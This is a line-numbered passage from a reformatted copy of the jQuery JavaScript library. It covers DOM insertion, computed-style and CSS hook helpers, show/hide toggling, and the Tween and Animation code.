3925 iNoClone = l - 1,
3926 value = args[0],
3927 isFunction = jQuery.isFunction(value);
3928 if (isFunction || (l > 1 && typeof value === "string" && !support.checkClone && rchecked.test(value))) {
3929 return this.each(function(index) {
3930 var self = set.eq(index);
3931 if (isFunction) {
3932 args[0] = value.call(this, index, self.html())
3933 }
3934 self.domManip(args, callback)
3935 })
3936 }
3937 if (l) {
3938 fragment = jQuery.buildFragment(args, this[0].ownerDocument, false, this);
3939 first = fragment.firstChild;
3940 if (fragment.childNodes.length === 1) {
3941 fragment = first
3942 }
3943 if (first) {
3944 scripts = jQuery.map(getAll(fragment, "script"), disableScript);
3945 hasScripts = scripts.length;
3946 for (; i < l; i++) {
3947 node = fragment;
3948 if (i !== iNoClone) {
3949 node = jQuery.clone(node, true, true);
3950 if (hasScripts) {
3951 jQuery.merge(scripts, getAll(node, "script"))
3952 }
3953 }
3954 callback.call(this[i], node, i)
3955 }
3956 if (hasScripts) {
3957 doc = scripts[scripts.length - 1].ownerDocument;
3958 jQuery.map(scripts, restoreScript);
3959 for (i = 0; i < hasScripts; i++) {
3960 node = scripts[i];
3961 if (rscriptType.test(node.type || "") && !jQuery._data(node, "globalEval") && jQuery.contains(doc, node)) {
3962 if (node.src) {
3963 if (jQuery._evalUrl) {
3964 jQuery._evalUrl(node.src)
3965 }
3966 } else {
3967 jQuery.globalEval((node.text || node.textContent || node.innerHTML || "").replace(rcleanScript, ""))
3968 }
3969 }
3970 }
3971 }
3972 fragment = first = null
3973 }
3974 }
3975 return this
3976 }
3977 });
3978 jQuery.each({
3979 appendTo: "append",
3980 prependTo: "prepend",
3981 insertBefore: "before",
3982 insertAfter: "after",
3983 replaceAll: "replaceWith"
3984 }, function(name, original) {
3985 jQuery.fn[name] = function(selector) {
3986 var elems, i = 0,
3987 ret = [],
3988 insert = jQuery(selector),
3989 last = insert.length - 1;
3990 for (; i <= last; i++) {
3991 elems = i === last ? this : this.clone(true);
3992 jQuery(insert[i])[original](elems);
3993 push.apply(ret, elems.get())
3994 }
3995 return this.pushStack(ret)
3996 }
3997 });
3998 var iframe, elemdisplay = {};
3999
4000 function actualDisplay(name, doc) {
4001 var style, elem = jQuery(doc.createElement(name)).appendTo(doc.body),
4002 display = window.getDefaultComputedStyle && (style = window.getDefaultComputedStyle(elem[0])) ? style.display : jQuery.css(elem[0], "display");
4003 elem.detach();
4004 return display
4005 }
4006
4007 function defaultDisplay(nodeName) {
4008 var doc = document,
4009 display = elemdisplay[nodeName];
4010 if (!display) {
4011 display = actualDisplay(nodeName, doc);
4012 if (display === "none" || !display) {
4013 iframe = (iframe || jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);
4014 doc = (iframe[0].contentWindow || iframe[0].contentDocument).document;
4015 doc.write();
4016 doc.close();
4017 display = actualDisplay(nodeName, doc);
4018 iframe.detach()
4019 }
4020 elemdisplay[nodeName] = display
4021 }
4022 return display
4023 }(function() {
4024 var shrinkWrapBlocksVal;
4025 support.shrinkWrapBlocks = function() {
4026 if (shrinkWrapBlocksVal != null) {
4027 return shrinkWrapBlocksVal
4028 }
4029 shrinkWrapBlocksVal = false;
4030 var div, body, container;
4031 body = document.getElementsByTagName("body")[0];
4032 if (!body || !body.style) {
4033 return
4034 }
4035 div = document.createElement("div");
4036 container = document.createElement("div");
4037 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
4038 body.appendChild(container).appendChild(div);
4039 if (typeof div.style.zoom !== strundefined) {
4040 div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;" + "padding:1px;width:1px;zoom:1";
4041 div.appendChild(document.createElement("div")).style.width = "5px";
4042 shrinkWrapBlocksVal = div.offsetWidth !== 3
4043 }
4044 body.removeChild(container);
4045 return shrinkWrapBlocksVal
4046 }
4047 })();
4048 var rmargin = (/^margin/);
4049 var rnumnonpx = new RegExp("^(" + pnum + ")(?!px)[a-z%]+$", "i");
4050 var getStyles, curCSS, rposition = /^(top|right|bottom|left)$/;
4051 if (window.getComputedStyle) {
4052 getStyles = function(elem) {
4053 if (elem.ownerDocument.defaultView.opener) {
4054 return elem.ownerDocument.defaultView.getComputedStyle(elem, null)
4055 }
4056 return window.getComputedStyle(elem, null)
4057 };
4058 curCSS = function(elem, name, computed) {
4059 var width, minWidth, maxWidth, ret, style = elem.style;
4060 computed = computed || getStyles(elem);
4061 ret = computed ? computed.getPropertyValue(name) || computed[name] : undefined;
4062 if (computed) {
4063 if (ret === "" && !jQuery.contains(elem.ownerDocument, elem)) {
4064 ret = jQuery.style(elem, name)
4065 }
4066 if (rnumnonpx.test(ret) && rmargin.test(name)) {
4067 width = style.width;
4068 minWidth = style.minWidth;
4069 maxWidth = style.maxWidth;
4070 style.minWidth = style.maxWidth = style.width = ret;
4071 ret = computed.width;
4072 style.width = width;
4073 style.minWidth = minWidth;
4074 style.maxWidth = maxWidth
4075 }
4076 }
4077 return ret === undefined ? ret : ret + ""
4078 }
4079 } else if (document.documentElement.currentStyle) {
4080 getStyles = function(elem) {
4081 return elem.currentStyle
4082 };
4083 curCSS = function(elem, name, computed) {
4084 var left, rs, rsLeft, ret, style = elem.style;
4085 computed = computed || getStyles(elem);
4086 ret = computed ? computed[name] : undefined;
4087 if (ret == null && style && style[name]) {
4088 ret = style[name]
4089 }
4090 if (rnumnonpx.test(ret) && !rposition.test(name)) {
4091 left = style.left;
4092 rs = elem.runtimeStyle;
4093 rsLeft = rs && rs.left;
4094 if (rsLeft) {
4095 rs.left = elem.currentStyle.left
4096 }
4097 style.left = name === "fontSize" ? "1em" : ret;
4098 ret = style.pixelLeft + "px";
4099 style.left = left;
4100 if (rsLeft) {
4101 rs.left = rsLeft
4102 }
4103 }
4104 return ret === undefined ? ret : ret + "" || "auto"
4105 }
4106 }
4107
4108 function addGetHookIf(conditionFn, hookFn) {
4109 return {
4110 get: function() {
4111 var condition = conditionFn();
4112 if (condition == null) {
4113 return
4114 }
4115 if (condition) {
4116 delete this.get;
4117 return
4118 }
4119 return (this.get = hookFn).apply(this, arguments)
4120 }
4121 }
4122 }(function() {
4123 var div, style, a, pixelPositionVal, boxSizingReliableVal, reliableHiddenOffsetsVal, reliableMarginRightVal;
4124 div = document.createElement("div");
4125 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
4126 a = div.getElementsByTagName("a")[0];
4127 style = a && a.style;
4128 if (!style) {
4129 return
4130 }
4131 style.cssText = "float:left;opacity:.5";
4132 support.opacity = style.opacity === "0.5";
4133 support.cssFloat = !!style.cssFloat;
4134 div.style.backgroundClip = "content-box";
4135 div.cloneNode(true).style.backgroundClip = "";
4136 support.clearCloneStyle = div.style.backgroundClip === "content-box";
4137 support.boxSizing = style.boxSizing === "" || style.MozBoxSizing === "" || style.WebkitBoxSizing === "";
4138 jQuery.extend(support, {
4139 reliableHiddenOffsets: function() {
4140 if (reliableHiddenOffsetsVal == null) {
4141 computeStyleTests()
4142 }
4143 return reliableHiddenOffsetsVal
4144 },
4145 boxSizingReliable: function() {
4146 if (boxSizingReliableVal == null) {
4147 computeStyleTests()
4148 }
4149 return boxSizingReliableVal
4150 },
4151 pixelPosition: function() {
4152 if (pixelPositionVal == null) {
4153 computeStyleTests()
4154 }
4155 return pixelPositionVal
4156 },
4157 reliableMarginRight: function() {
4158 if (reliableMarginRightVal == null) {
4159 computeStyleTests()
4160 }
4161 return reliableMarginRightVal
4162 }
4163 });
4164
4165 function computeStyleTests() {
4166 var div, body, container, contents;
4167 body = document.getElementsByTagName("body")[0];
4168 if (!body || !body.style) {
4169 return
4170 }
4171 div = document.createElement("div");
4172 container = document.createElement("div");
4173 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
4174 body.appendChild(container).appendChild(div);
4175 div.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" + "box-sizing:border-box;display:block;margin-top:1%;top:1%;" + "border:1px;padding:1px;width:4px;position:absolute";
4176 pixelPositionVal = boxSizingReliableVal = false;
4177 reliableMarginRightVal = true;
4178 if (window.getComputedStyle) {
4179 pixelPositionVal = (window.getComputedStyle(div, null) || {}).top !== "1%";
4180 boxSizingReliableVal = (window.getComputedStyle(div, null) || {
4181 width: "4px"
4182 }).width === "4px";
4183 contents = div.appendChild(document.createElement("div"));
4184 contents.style.cssText = div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;padding:0";
4185 contents.style.marginRight = contents.style.width = "0";
4186 div.style.width = "1px";
4187 reliableMarginRightVal = !parseFloat((window.getComputedStyle(contents, null) || {}).marginRight);
4188 div.removeChild(contents)
4189 }
4190 div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
4191 contents = div.getElementsByTagName("td");
4192 contents[0].style.cssText = "margin:0;border:0;padding:0;display:none";
4193 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0;
4194 if (reliableHiddenOffsetsVal) {
4195 contents[0].style.display = "";
4196 contents[1].style.display = "none";
4197 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0
4198 }
4199 body.removeChild(container)
4200 }
4201 })();
4202 jQuery.swap = function(elem, options, callback, args) {
4203 var ret, name, old = {};
4204 for (name in options) {
4205 old[name] = elem.style[name];
4206 elem.style[name] = options[name]
4207 }
4208 ret = callback.apply(elem, args || []);
4209 for (name in options) {
4210 elem.style[name] = old[name]
4211 }
4212 return ret
4213 };
4214 var ralpha = /alpha\([^)]*\)/i,
4215 ropacity = /opacity\s*=\s*([^)]*)/,
4216 rdisplayswap = /^(none|table(?!-c[ea]).+)/,
4217 rnumsplit = new RegExp("^(" + pnum + ")(.*)$", "i"),
4218 rrelNum = new RegExp("^([+-])=(" + pnum + ")", "i"),
4219 cssShow = {
4220 position: "absolute",
4221 visibility: "hidden",
4222 display: "block"
4223 },
4224 cssNormalTransform = {
4225 letterSpacing: "0",
4226 fontWeight: "400"
4227 },
4228 cssPrefixes = ["Webkit", "O", "Moz", "ms"];
4229
4230 function vendorPropName(style, name) {
4231 if (name in style) {
4232 return name
4233 }
4234 var capName = name.charAt(0).toUpperCase() + name.slice(1),
4235 origName = name,
4236 i = cssPrefixes.length;
4237 while (i--) {
4238 name = cssPrefixes[i] + capName;
4239 if (name in style) {
4240 return name
4241 }
4242 }
4243 return origName
4244 }
4245
4246 function showHide(elements, show) {
4247 var display, elem, hidden, values = [],
4248 index = 0,
4249 length = elements.length;
4250 for (; index < length; index++) {
4251 elem = elements[index];
4252 if (!elem.style) {
4253 continue
4254 }
4255 values[index] = jQuery._data(elem, "olddisplay");
4256 display = elem.style.display;
4257 if (show) {
4258 if (!values[index] && display === "none") {
4259 elem.style.display = ""
4260 }
4261 if (elem.style.display === "" && isHidden(elem)) {
4262 values[index] = jQuery._data(elem, "olddisplay", defaultDisplay(elem.nodeName))
4263 }
4264 } else {
4265 hidden = isHidden(elem);
4266 if (display && display !== "none" || !hidden) {
4267 jQuery._data(elem, "olddisplay", hidden ? display : jQuery.css(elem, "display"))
4268 }
4269 }
4270 }
4271 for (index = 0; index < length; index++) {
4272 elem = elements[index];
4273 if (!elem.style) {
4274 continue
4275 }
4276 if (!show || elem.style.display === "none" || elem.style.display === "") {
4277 elem.style.display = show ? values[index] || "" : "none"
4278 }
4279 }
4280 return elements
4281 }
4282
4283 function setPositiveNumber(elem, value, subtract) {
4284 var matches = rnumsplit.exec(value);
4285 return matches ? Math.max(0, matches[1] - (subtract || 0)) + (matches[2] || "px") : value
4286 }
4287
4288 function augmentWidthOrHeight(elem, name, extra, isBorderBox, styles) {
4289 var i = extra === (isBorderBox ? "border" : "content") ? 4 : name === "width" ? 1 : 0,
4290 val = 0;
4291 for (; i < 4; i += 2) {
4292 if (extra === "margin") {
4293 val += jQuery.css(elem, extra + cssExpand[i], true, styles)
4294 }
4295 if (isBorderBox) {
4296 if (extra === "content") {
4297 val -= jQuery.css(elem, "padding" + cssExpand[i], true, styles)
4298 }
4299 if (extra !== "margin") {
4300 val -= jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4301 }
4302 } else {
4303 val += jQuery.css(elem, "padding" + cssExpand[i], true, styles);
4304 if (extra !== "padding") {
4305 val += jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4306 }
4307 }
4308 }
4309 return val
4310 }
4311
4312 function getWidthOrHeight(elem, name, extra) {
4313 var valueIsBorderBox = true,
4314 val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
4315 styles = getStyles(elem),
4316 isBorderBox = support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box";
4317 if (val <= 0 || val == null) {
4318 val = curCSS(elem, name, styles);
4319 if (val < 0 || val == null) {
4320 val = elem.style[name]
4321 }
4322 if (rnumnonpx.test(val)) {
4323 return val
4324 }
4325 valueIsBorderBox = isBorderBox && (support.boxSizingReliable() || val === elem.style[name]);
4326 val = parseFloat(val) || 0
4327 }
4328 return (val + augmentWidthOrHeight(elem, name, extra || (isBorderBox ? "border" : "content"), valueIsBorderBox, styles)) + "px"
4329 }
4330 jQuery.extend({
4331 cssHooks: {
4332 opacity: {
4333 get: function(elem, computed) {
4334 if (computed) {
4335 var ret = curCSS(elem, "opacity");
4336 return ret === "" ? "1" : ret
4337 }
4338 }
4339 }
4340 },
4341 cssNumber: {
4342 "columnCount": true,
4343 "fillOpacity": true,
4344 "flexGrow": true,
4345 "flexShrink": true,
4346 "fontWeight": true,
4347 "lineHeight": true,
4348 "opacity": true,
4349 "order": true,
4350 "orphans": true,
4351 "widows": true,
4352 "zIndex": true,
4353 "zoom": true
4354 },
4355 cssProps: {
4356 "float": support.cssFloat ? "cssFloat" : "styleFloat"
4357 },
4358 style: function(elem, name, value, extra) {
4359 if (!elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style) {
4360 return
4361 }
4362 var ret, type, hooks, origName = jQuery.camelCase(name),
4363 style = elem.style;
4364 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(style, origName));
4365 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4366 if (value !== undefined) {
4367 type = typeof value;
4368 if (type === "string" && (ret = rrelNum.exec(value))) {
4369 value = (ret[1] + 1) * ret[2] + parseFloat(jQuery.css(elem, name));
4370 type = "number"
4371 }
4372 if (value == null || value !== value) {
4373 return
4374 }
4375 if (type === "number" && !jQuery.cssNumber[origName]) {
4376 value += "px"
4377 }
4378 if (!support.clearCloneStyle && value === "" && name.indexOf("background") === 0) {
4379 style[name] = "inherit"
4380 }
4381 if (!hooks || !("set" in hooks) || (value = hooks.set(elem, value, extra)) !== undefined) {
4382 try {
4383 style[name] = value
4384 } catch (e) {}
4385 }
4386 } else {
4387 if (hooks && "get" in hooks && (ret = hooks.get(elem, false, extra)) !== undefined) {
4388 return ret
4389 }
4390 return style[name]
4391 }
4392 },
4393 css: function(elem, name, extra, styles) {
4394 var num, val, hooks, origName = jQuery.camelCase(name);
4395 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(elem.style, origName));
4396 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4397 if (hooks && "get" in hooks) {
4398 val = hooks.get(elem, true, extra)
4399 }
4400 if (val === undefined) {
4401 val = curCSS(elem, name, styles)
4402 }
4403 if (val === "normal" && name in cssNormalTransform) {
4404 val = cssNormalTransform[name]
4405 }
4406 if (extra === "" || extra) {
4407 num = parseFloat(val);
4408 return extra === true || jQuery.isNumeric(num) ? num || 0 : val
4409 }
4410 return val
4411 }
4412 });
4413 jQuery.each(["height", "width"], function(i, name) {
4414 jQuery.cssHooks[name] = {
4415 get: function(elem, computed, extra) {
4416 if (computed) {
4417 return rdisplayswap.test(jQuery.css(elem, "display")) && elem.offsetWidth === 0 ? jQuery.swap(elem, cssShow, function() {
4418 return getWidthOrHeight(elem, name, extra)
4419 }) : getWidthOrHeight(elem, name, extra)
4420 }
4421 },
4422 set: function(elem, value, extra) {
4423 var styles = extra && getStyles(elem);
4424 return setPositiveNumber(elem, value, extra ? augmentWidthOrHeight(elem, name, extra, support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box", styles) : 0)
4425 }
4426 }
4427 });
4428 if (!support.opacity) {
4429 jQuery.cssHooks.opacity = {
4430 get: function(elem, computed) {
4431 return ropacity.test((computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "") ? (0.01 * parseFloat(RegExp.$1)) + "" : computed ? "1" : ""
4432 },
4433 set: function(elem, value) {
4434 var style = elem.style,
4435 currentStyle = elem.currentStyle,
4436 opacity = jQuery.isNumeric(value) ? "alpha(opacity=" + value * 100 + ")" : "",
4437 filter = currentStyle && currentStyle.filter || style.filter || "";
4438 style.zoom = 1;
4439 if ((value >= 1 || value === "") && jQuery.trim(filter.replace(ralpha, "")) === "" && style.removeAttribute) {
4440 style.removeAttribute("filter");
4441 if (value === "" || currentStyle && !currentStyle.filter) {
4442 return
4443 }
4444 }
4445 style.filter = ralpha.test(filter) ? filter.replace(ralpha, opacity) : filter + " " + opacity
4446 }
4447 }
4448 }
4449 jQuery.cssHooks.marginRight = addGetHookIf(support.reliableMarginRight, function(elem, computed) {
4450 if (computed) {
4451 return jQuery.swap(elem, {
4452 "display": "inline-block"
4453 }, curCSS, [elem, "marginRight"])
4454 }
4455 });
4456 jQuery.each({
4457 margin: "",
4458 padding: "",
4459 border: "Width"
4460 }, function(prefix, suffix) {
4461 jQuery.cssHooks[prefix + suffix] = {
4462 expand: function(value) {
4463 var i = 0,
4464 expanded = {},
4465 parts = typeof value === "string" ? value.split(" ") : [value];
4466 for (; i < 4; i++) {
4467 expanded[prefix + cssExpand[i] + suffix] = parts[i] || parts[i - 2] || parts[0]
4468 }
4469 return expanded
4470 }
4471 };
4472 if (!rmargin.test(prefix)) {
4473 jQuery.cssHooks[prefix + suffix].set = setPositiveNumber
4474 }
4475 });
4476 jQuery.fn.extend({
4477 css: function(name, value) {
4478 return access(this, function(elem, name, value) {
4479 var styles, len, map = {},
4480 i = 0;
4481 if (jQuery.isArray(name)) {
4482 styles = getStyles(elem);
4483 len = name.length;
4484 for (; i < len; i++) {
4485 map[name[i]] = jQuery.css(elem, name[i], false, styles)
4486 }
4487 return map
4488 }
4489 return value !== undefined ? jQuery.style(elem, name, value) : jQuery.css(elem, name)
4490 }, name, value, arguments.length > 1)
4491 },
4492 show: function() {
4493 return showHide(this, true)
4494 },
4495 hide: function() {
4496 return showHide(this)
4497 },
4498 toggle: function(state) {
4499 if (typeof state === "boolean") {
4500 return state ? this.show() : this.hide()
4501 }
4502 return this.each(function() {
4503 if (isHidden(this)) {
4504 jQuery(this).show()
4505 } else {
4506 jQuery(this).hide()
4507 }
4508 })
4509 }
4510 });
4511
4512 function Tween(elem, options, prop, end, easing) {
4513 return new Tween.prototype.init(elem, options, prop, end, easing)
4514 }
4515 jQuery.Tween = Tween;
4516 Tween.prototype = {
4517 constructor: Tween,
4518 init: function(elem, options, prop, end, easing, unit) {
4519 this.elem = elem;
4520 this.prop = prop;
4521 this.easing = easing || "swing";
4522 this.options = options;
4523 this.start = this.now = this.cur();
4524 this.end = end;
4525 this.unit = unit || (jQuery.cssNumber[prop] ? "" : "px")
4526 },
4527 cur: function() {
4528 var hooks = Tween.propHooks[this.prop];
4529 return hooks && hooks.get ? hooks.get(this) : Tween.propHooks._default.get(this)
4530 },
4531 run: function(percent) {
4532 var eased, hooks = Tween.propHooks[this.prop];
4533 if (this.options.duration) {
4534 this.pos = eased = jQuery.easing[this.easing](percent, this.options.duration * percent, 0, 1, this.options.duration)
4535 } else {
4536 this.pos = eased = percent
4537 }
4538 this.now = (this.end - this.start) * eased + this.start;
4539 if (this.options.step) {
4540 this.options.step.call(this.elem, this.now, this)
4541 }
4542 if (hooks && hooks.set) {
4543 hooks.set(this)
4544 } else {
4545 Tween.propHooks._default.set(this)
4546 }
4547 return this
4548 }
4549 };
4550 Tween.prototype.init.prototype = Tween.prototype;
4551 Tween.propHooks = {
4552 _default: {
4553 get: function(tween) {
4554 var result;
4555 if (tween.elem[tween.prop] != null && (!tween.elem.style || tween.elem.style[tween.prop] == null)) {
4556 return tween.elem[tween.prop]
4557 }
4558 result = jQuery.css(tween.elem, tween.prop, "");
4559 return !result || result === "auto" ? 0 : result
4560 },
4561 set: function(tween) {
4562 if (jQuery.fx.step[tween.prop]) {
4563 jQuery.fx.step[tween.prop](tween)
4564 } else if (tween.elem.style && (tween.elem.style[jQuery.cssProps[tween.prop]] != null || jQuery.cssHooks[tween.prop])) {
4565 jQuery.style(tween.elem, tween.prop, tween.now + tween.unit)
4566 } else {
4567 tween.elem[tween.prop] = tween.now
4568 }
4569 }
4570 }
4571 };
4572 Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
4573 set: function(tween) {
4574 if (tween.elem.nodeType && tween.elem.parentNode) {
4575 tween.elem[tween.prop] = tween.now
4576 }
4577 }
4578 };
4579 jQuery.easing = {
4580 linear: function(p) {
4581 return p
4582 },
4583 swing: function(p) {
4584 return 0.5 - Math.cos(p * Math.PI) / 2
4585 }
4586 };
4587 jQuery.fx = Tween.prototype.init;
4588 jQuery.fx.step = {};
4589 var fxNow, timerId, rfxtypes = /^(?:toggle|show|hide)$/,
4590 rfxnum = new RegExp("^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i"),
4591 rrun = /queueHooks$/,
4592 animationPrefilters = [defaultPrefilter],
4593 tweeners = {
4594 "*": [function(prop, value) {
4595 var tween = this.createTween(prop, value),
4596 target = tween.cur(),
4597 parts = rfxnum.exec(value),
4598 unit = parts && parts[3] || (jQuery.cssNumber[prop] ? "" : "px"),
4599 start = (jQuery.cssNumber[prop] || unit !== "px" && +target) && rfxnum.exec(jQuery.css(tween.elem, prop)),
4600 scale = 1,
4601 maxIterations = 20;
4602 if (start && start[3] !== unit) {
4603 unit = unit || start[3];
4604 parts = parts || [];
4605 start = +target || 1;
4606 do {
4607 scale = scale || ".5";
4608 start = start / scale;
4609 jQuery.style(tween.elem, prop, start + unit)
4610 } while (scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations)
4611 }
4612 if (parts) {
4613 start = tween.start = +start || +target || 0;
4614 tween.unit = unit;
4615 tween.end = parts[1] ? start + (parts[1] + 1) * parts[2] : +parts[2]
4616 }
4617 return tween
4618 }]
4619 };
4620
4621 function createFxNow() {
4622 setTimeout(function() {
4623 fxNow = undefined
4624 });
4625 return (fxNow = jQuery.now())
4626 }
4627
4628 function genFx(type, includeWidth) {
4629 var which, attrs = {
4630 height: type
4631 },
4632 i = 0;
4633 includeWidth = includeWidth ? 1 : 0;
4634 for (; i < 4; i += 2 - includeWidth) {
4635 which = cssExpand[i];
4636 attrs["margin" + which] = attrs["padding" + which] = type
4637 }
4638 if (includeWidth) {
4639 attrs.opacity = attrs.width = type
4640 }
4641 return attrs
4642 }
4643
4644 function createTween(value, prop, animation) {
4645 var tween, collection = (tweeners[prop] || []).concat(tweeners["*"]),
4646 index = 0,
4647 length = collection.length;
4648 for (; index < length; index++) {
4649 if ((tween = collection[index].call(animation, prop, value))) {
4650 return tween
4651 }
4652 }
4653 }
4654
4655 function defaultPrefilter(elem, props, opts) {
4656 var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay, anim = this,
4657 orig = {},
4658 style = elem.style,
4659 hidden = elem.nodeType && isHidden(elem),
4660 dataShow = jQuery._data(elem, "fxshow");
4661 if (!opts.queue) {
4662 hooks = jQuery._queueHooks(elem, "fx");
4663 if (hooks.unqueued == null) {
4664 hooks.unqueued = 0;
4665 oldfire = hooks.empty.fire;
4666 hooks.empty.fire = function() {
4667 if (!hooks.unqueued) {
4668 oldfire()
4669 }
4670 }
4671 }
4672 hooks.unqueued++;
4673 anim.always(function() {
4674 anim.always(function() {
4675 hooks.unqueued--;
4676 if (!jQuery.queue(elem, "fx").length) {
4677 hooks.empty.fire()
4678 }
4679 })
4680 })
4681 }
4682 if (elem.nodeType === 1 && ("height" in props || "width" in props)) {
4683 opts.overflow = [style.overflow, style.overflowX, style.overflowY];
4684 display = jQuery.css(elem, "display");
4685 checkDisplay = display === "none" ? jQuery._data(elem, "olddisplay") || defaultDisplay(elem.nodeName) : display;
4686 if (checkDisplay === "inline" && jQuery.css(elem, "float") === "none") {
4687 if (!support.inlineBlockNeedsLayout || defaultDisplay(elem.nodeName) === "inline") {
4688 style.display = "inline-block"
4689 } else {
4690 style.zoom = 1
4691 }
4692 }
4693 }
4694 if (opts.overflow) {
4695 style.overflow = "hidden";
4696 if (!support.shrinkWrapBlocks()) {
4697 anim.always(function() {
4698 style.overflow = opts.overflow[0];
4699 style.overflowX = opts.overflow[1];
4700 style.overflowY = opts.overflow[2]
4701 })
4702 }
4703 }
4704 for (prop in props) {
4705 value = props[prop];
4706 if (rfxtypes.exec(value)) {
4707 delete props[prop];
4708 toggle = toggle || value === "toggle";
4709 if (value === (hidden ? "hide" : "show")) {
4710 if (value === "show" && dataShow && dataShow[prop] !== undefined) {
4711 hidden = true
4712 } else {
4713 continue
4714 }
4715 }
4716 orig[prop] = dataShow && dataShow[prop] || jQuery.style(elem, prop)
4717 } else {
4718 display = undefined
4719 }
4720 }
4721 if (!jQuery.isEmptyObject(orig)) {
4722 if (dataShow) {
4723 if ("hidden" in dataShow) {
4724 hidden = dataShow.hidden
4725 }
4726 } else {
4727 dataShow = jQuery._data(elem, "fxshow", {})
4728 }
4729 if (toggle) {
4730 dataShow.hidden = !hidden
4731 }
4732 if (hidden) {
4733 jQuery(elem).show()
4734 } else {
4735 anim.done(function() {
4736 jQuery(elem).hide()
4737 })
4738 }
4739 anim.done(function() {
4740 var prop;
4741 jQuery._removeData(elem, "fxshow");
4742 for (prop in orig) {
4743 jQuery.style(elem, prop, orig[prop])
4744 }
4745 });
4746 for (prop in orig) {
4747 tween = createTween(hidden ? dataShow[prop] : 0, prop, anim);
4748 if (!(prop in dataShow)) {
4749 dataShow[prop] = tween.start;
4750 if (hidden) {
4751 tween.end = tween.start;
4752 tween.start = prop === "width" || prop === "height" ? 1 : 0
4753 }
4754 }
4755 }
4756 } else if ((display === "none" ? defaultDisplay(elem.nodeName) : display) === "inline") {
4757 style.display = display
4758 }
4759 }
4760
4761 function propFilter(props, specialEasing) {
4762 var index, name, easing, value, hooks;
4763 for (index in props) {
4764 name = jQuery.camelCase(index);
4765 easing = specialEasing[name];
4766 value = props[index];
4767 if (jQuery.isArray(value)) {
4768 easing = value[1];
4769 value = props[index] = value[0]
4770 }
4771 if (index !== name) {
4772 props[name] = value;
4773 delete props[index]
4774 }
4775 hooks = jQuery.cssHooks[name];
4776 if (hooks && "expand" in hooks) {
4777 value = hooks.expand(value);
4778 delete props[name];
4779 for (index in value) {
4780 if (!(index in props)) {
4781 props[index] = value[index];
4782 specialEasing[index] = easing
4783 }
4784 }
4785 } else {
4786 specialEasing[name] = easing
4787 }
4788 }
4789 }
4790
4791 function Animation(elem, properties, options) {
4792 var result, stopped, index = 0,
4793 length = animationPrefilters.length,
4794 deferred = jQuery.Deferred().always(function() {
4795 delete tick.elem
4796 }),
4797 tick = function() {
4798 if (stopped) {
4799 return false
4800 }
4801 var currentTime = fxNow || createFxNow(),
4802 remaining = Math.max(0, animation.startTime + animation.duration - currentTime),
4803 temp = remaining / animation.duration || 0,
4804 percent = 1 - temp,
4805 index = 0,
4806 length = animation.tweens.length;
4807 for (; index < length; index++) {
4808 animation.tweens[index].run(percent)
4809 }
4810 deferred.notifyWith(elem, [animation, percent, remaining]);
4811 if (percent < 1 && length) {
4812 return remaining
4813 } else {
4814 deferred.resolveWith(elem, [animation]);
4815 return false
4816 }
4817 },
4818 animation = deferred.promise({
4819 elem: elem,
4820 props: jQuery.extend({}, properties),
4821 opts: jQuery.extend(true, {
4822 specialEasing: {}
4823 }, options),
4824 originalProperties: properties,
4825 originalOptions: options,
4826 startTime: fxNow || createFxNow(),
4827 duration: options.duration,
4828 tweens: [],
4829 createTween: function(prop, end) {
4830 var tween = jQuery.Tween(elem, animation.opts, prop, end, animation.opts.specialEasing[prop] || animation.opts.easing);
4831 animation.tweens.push(tween);
4832 return tween
4833 },
4834 stop: function(gotoEnd) {
4835 var index = 0,
4836 length = gotoEnd ? animation.tweens.length : 0;
4837 if (stopped) {
4838 return this
4839 }
4840 stopped = true;
4841 for (; index < length; index++) {
4842 animation.tweens[index].run(1)
4843 }
4844 if (gotoEnd) {
4845 deferred.resolveWith(elem, [animation, gotoEnd])
4846 } else {
4847 deferred.rejectWith(elem, [animation, gotoEnd])
4848 }
4849 return this
4850 }
4851 }),
4852 props = animation.props;
4853 propFilter(props, animation.opts.specialEasing);
4854 for (; index < length; index++) {
4855 result = animationPrefilters[index].call(animation, elem, props, animation.opts);
4856 if (result) {
4857 return result
4858 }
4859 }
4860 jQuery.map(props, createTween, animation);
4861 if (jQuery.isFunction(animation.opts.start)) {
4862 animation.opts.start.call(elem, animation)
4863 }
4864 jQuery.fx.timer(jQuery.extend(tick, {
4865 elem: elem,
4866 anim: animation,
4867 queue: animation.opts.queue
4868 }));
4869 return animation.progress(animation.opts.progress).done(animation.opts.done, animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)
4870 }
4871 jQuery.Animation = jQuery.extend(Animation, {
4872 tweener: function(props, callback) {
4873 if (jQuery.isFunction(props)) {
4874 callback = props;
4875 props = ["*"]
4876 } else {
4877 props = props.split(" ")
4878 }
4879 var prop, index = 0,
4880 length = props.length;
4881 for (; index < length; index++) {
4882 prop = props[index];
4883 tweeners[prop] = tweeners[prop] || [];
4884 tweeners[prop].unshift(callback)
4885 }
4886 },
4887 prefilter: function(callback, prepend) {
